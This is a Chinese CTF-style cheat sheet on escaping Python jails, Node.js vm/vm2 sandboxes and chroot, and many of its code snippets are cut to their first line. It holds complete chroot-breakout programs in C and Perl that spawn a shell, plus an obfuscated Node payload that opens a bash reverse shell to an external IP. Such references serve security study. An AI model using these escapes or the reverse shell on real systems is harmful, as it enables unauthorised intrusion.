沙盒逃逸 / 沙箱逃逸
沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程。
Python / Pyjail
内置函数/变量
1 | dir() #不带参数时,返回当前范围内的变量、方法和定义的类型列表;带参数时,返回参数的属性、方法列表 |
模块
1 | #os |
import
1 | __import__('os').system('sh') |
重载模块 / 重新引入
1 | #得到完整__builtin__模块 |
dis模块解析
1 | #dis.code_info限制names数量 |
函数调用 / 命令执行 / 交互
1 | #属性/字典 |
文件读取
1 | open('1.txt').read() |
关键字过滤
1 | 'sys'+'tem' => 'system' |
注释逃逸
井号
Python 中的编解码器 raw_unicode_escape
允许Python文件解释Unicode编码的字符,使用 raw_unicode_escape
编码器将 \uxxxx
解释成对应的ASCII字符,比如换行符 \u000a
,这样可以在 Python 的注释中隐藏恶意代码。
1 | #!/usr/bin/env python |
参考:
三引号
python处理字符串的过程是先用line-delimiter分开 然后每行再视为一个C null-terminated string进行处理。
所以<NUL>
字符会影响这一过程 所以我们只需要将 '''
中的一个 '
替换为 '\x00\n
即可。
参考:
mishandling of c-strings in parser
NKCTF 2024 - 🐍ex1t
eval变量覆盖
1 | # a={'test':0} => a={'test':1} |
node.js
前端
在前端中,可能会使用删除 eval
,重写 Function.prototype.constructor
/ GeneratorFunction
/ AsyncFunction
等方式来完成前端的沙箱。在这种情况下,可以使用创建一个新iframe的方式来获取新的执行环境。
服务端
JavaScript提供了原生的vm模块,用于隔离了代码上下文环境。但是在该环境中依然可以访问标准的JavaScript API和全局的NodeJS环境。
在原生的沙箱模块中,常用的逃逸方式为:
1 | const sandbox = {}; |
一般来说,在Context下运行的代码应该只属于该隔离环境。然而,this是一个特别的,this指向runInContext(line, context)
这一句里的context变量,它属于沙盒外,实际上,它是一个{}
。
1 | //列目录 |
如果this为null,并且也没有其他可以引用的对象,想要逃逸则要用到一个函数中的内置对象的属性arguments.callee.caller
,它可以返回函数的调用者。
只要在沙箱内定义一个函数,然后在沙箱外调用这个函数,那么这个函数的arguments.callee.caller
就会返回沙箱外的一个对象,在沙箱内就可以进行逃逸。
1 | // 方法1 |
考虑到JavaScript原生vm模块的缺陷,有开发者设计了vm2来提供一个更安全的隔离环境,但是在旧版本中同样存在一些逃逸方式,例如:
1 | vm.runInNewContext( |
绕过
点 .
利用with绕过。
1
with(String)with(f=fromCharCode,this)with(constructor)with(constructor(f(r=114,e=101,t=116,117,r,110,32,p=112,r,111,c=99,e,s=115,s))())with(mainModule)with(require(f(c,h=104,105,108,100,95,p,r,111,c,e,s,s)))exec(f(98,97,s,h,32,45,c,32,34,98,97,s,h,32,45,105,32,62,38,32,47,100,e,118,47,t,c,p,47,a=56,b=49,46,54,a,46,b,50,48,46,b,52,47,a,a,a,57,32,48,62,38,b,34))
引号
使用String的fromCharCode通过ASCII码值构造。
参考
SSTI (Server Side Template Injection)
chroot
chroot逃逸的核心是使进程中存在一个文件,处于根目录树之外。
参考:I’M IN CHROOT JAIL, GET ME OUT OF HERE!
mount
1 | mount /dev/sda1 /tmp |
/proc
1 | ls /proc/*/root |
清空env
查看env可以发现,有个奇怪的变量:LD_PRELOAD=libfakechroot.so
,它是一个用于在用户权限下更改root目录的工具。
只要把这个环境变量给删掉:env LD_PRELOAD=/bash
,就在真正的root中了。
可执行程序
1 | cat << EOF > getmeoutofhere.c |
C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24// Shortened version of this:
// http://www.bpfh.net/simes/computing/chroot-break.html
int main() {
int x; /* Used to move up a directory tree */
int dir_fd; /* File descriptor to directory */
mkdir("chroot-breakout-dir", 0755);
dir_fd=open(".", O_RDONLY);
chroot("chroot-breakout-dir");
fchdir(dir_fd);
close(dir_fd);
for(x = 0; x < 1024; x++) {
chdir("..");
}
chroot(".");
system("/bin/sh");
}Perl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33#!/usr/bin/perl -w
use strict;
# unchroot.pl Dec 2007
# http://pentestmonkey.net/blog/chroot-breakout-perl
# This script may be used for legal purposes only.
# Go to the root of the jail
chdir "/";
# Open filehandle to root of jail
opendir JAILROOT, "." or die "ERROR: Couldn't get file handle to root of jailn";
# Create a subdir, move into it
mkdir "mysubdir";
chdir "mysubdir";
# Lock ourselves in a new jail
chroot ".";
# Use our filehandle to get back to the root of the old jail
chdir(*JAILROOT);
# Get to the real root
while ((stat("."))[0] != (stat(".."))[0] or (stat("."))[1] != (stat(".."))[1]) {
chdir "..";
}
# Lock ourselves in real root - so we're not really in a jail at all now
chroot ".";
# Start an un-jailed shell
system("/bin/sh");
libc注入
echo -e
可以写入二进制程序,利用 echo -e
上传so文件。利用elf文件动态加载环境变量更换libc,实现libc注入。
1 | import os |
1 | // in.so |